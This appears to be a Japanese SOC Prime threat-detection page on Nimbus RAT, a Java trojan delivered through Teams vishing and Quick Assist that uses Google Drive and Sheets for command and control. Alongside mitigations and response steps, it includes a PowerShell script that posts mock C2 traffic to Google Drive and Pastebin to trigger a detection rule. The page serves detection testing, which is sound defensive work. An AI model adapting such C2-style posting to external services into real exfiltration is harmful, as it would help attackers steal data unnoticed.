SOC Prime Bias: 中程度

05 Jun 2026 15:31 UTC

Microsoft TeamsとGoogle Driveを介して配信されるNimbus RAT

Author Photo
SOC Prime Team linkedin icon フォローする
Microsoft TeamsとGoogle Driveを介して配信されるNimbus RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

脅威アクターは、Microsoft Teamsの音声フィッシングとQuick Assistを使用して、Nimbus RATとして知られるJavaベースのリモートアクセス型トロイの木馬を展開しました。このマルウェアは、コマンドアンドコントロールチャンネルとしてGoogle DriveとGoogle Sheetsを利用し、独自のOpenJDKランタイムを同梱しています。資格情報を盗むために、偽のWindowsセキュリティプロンプトまたはネイティブのCredUI APIを使用してユーザーシークレットをキャプチャします。

調査

eSentireの脅威対策ユニットは、メールフローログ、エンドポイントのテレメトリ、およびJavaマルウェアの静的分析を使用して、完全な侵入チェーンを再構築しました。このキャンペーンは、メール爆撃、Teamsベースのフィッシング通話、Quick Assistリモートサポート、Pastebinにホストされた指示シート、およびペイロードを配布するための侵害されたSharePointテナントを組み合わせました。

緩和策

推奨される防御策には、未知のテナントからの外部Teamsメッセージの無効化、必要ない場所でのQuick Assistのブロック、メール爆撃活動の急増に対する警告の設定、監視が含まれます javaw.exe 異常な場所からの実行、予期しないプロセスによって開始された疑わしいGoogle Drive API呼び出しの検出。

対応

Nimbus RATの活動が検出された場合、影響を受けたシステムを隔離し、関連するすべての javaw.exe プロセスを終了し、 C:ProgramDataInboxCorePro ディレクトリと関連するスタートアップショートカットを削除し、システム全体の再イメージを検討します。Google Workspaceの監査ログも確認し、不正なGoogle Driveアプリケーション権限の取得を特定します。

攻撃フロー

シミュレーション実行

前提条件: テレメトリとベースラインの事前チェックが合格する必要があります。

理由: このセクションは、検出ルールをトリガーするために設計された敵対的技術(TTP)の正確な実行の詳細を示します。コマンドとナラティブは、特定されたTTPを直接反映する必要があり、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃のナラティブとコマンド:
    脅威アクターはすでにNimbus RATバイナリでエンドポイントを侵害しています。隠れたC2チャネルを確立するために、RATは2つのアウトバウンドHTTP POSTリクエストを発行します:

    1. Google Drive API呼び出し – 小さいJSONペイロードをにアップロードします https://www.googleapis.com/drive/v3/files?uploadType=media, RATの“ペイロードダウンロード”動作を模擬します。
    2. Pastebinペースト – base-64エンコードされたコマンド文字列をに投稿します https://pastebin.com/api/api_post.php 、公共のAPIキーを使用して。

    両方のリクエストは、PowerShellの Invoke-WebRequest を通じて実行され、ファイアウォールログに ドメイン フィールド(googleapis.com and pastebin.com)が含まれるようにします。攻撃者は、通常の活動に溶け込むために、侵害されたユーザーのコンテキストで命令を実行します。

  • リグレッションテストスクリプト:

    # --------------------------------------------------------------
    # Nimbus RAT C2シミュレーション–ドメイン一致でSigmaルールをトリガー
    # --------------------------------------------------------------
    # 1. Google Drive APIモックアップロード(認証なし–ドメインテレメトリにフォーカス)
    $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json
    $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media"
    try {
        Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload `
            -ContentType "application/json" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Google Drive APIへのモックアップロードを送信しました"
    } catch {
        Write-Warning "Google Driveリクエストが失敗しました(サンドボックスで予期される):$_"
    }
    # 2. Pastebin公開API投稿(開発者キーが必要–プレースホルダーを使用)
    $pastebinKey   = "YOUR_PUBLIC_API_KEY"    # <-- 有効なキーで置換して実際のテストを行います
    $pastebinText  = "echo 'C2からのシミュレートされたコマンド'" 
    $pastebinUri   = "https://pastebin.com/api/api_post.php"
    $pastebinBody  = @{
        api_dev_key = $pastebinKey
        api_option  = "paste"
        api_paste_code = $pastebinText
        api_paste_private = "1"
    }
    try {
        Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody `
            -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Pastebinにモックコマンドを投稿しました"
    } catch {
        Write-Warning "Pastebinリクエストが失敗しました(サンドボックスで予期される):$_"
    }
    # --------------------------------------------------------------
    # シミュレーションの終了
    # --------------------------------------------------------------
  • クリーンアップコマンド:

    # シミュレーション中に使用された一時ファイルや変数を削除します
    Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue
    Write-Host "[*] クリーンアップ完了。"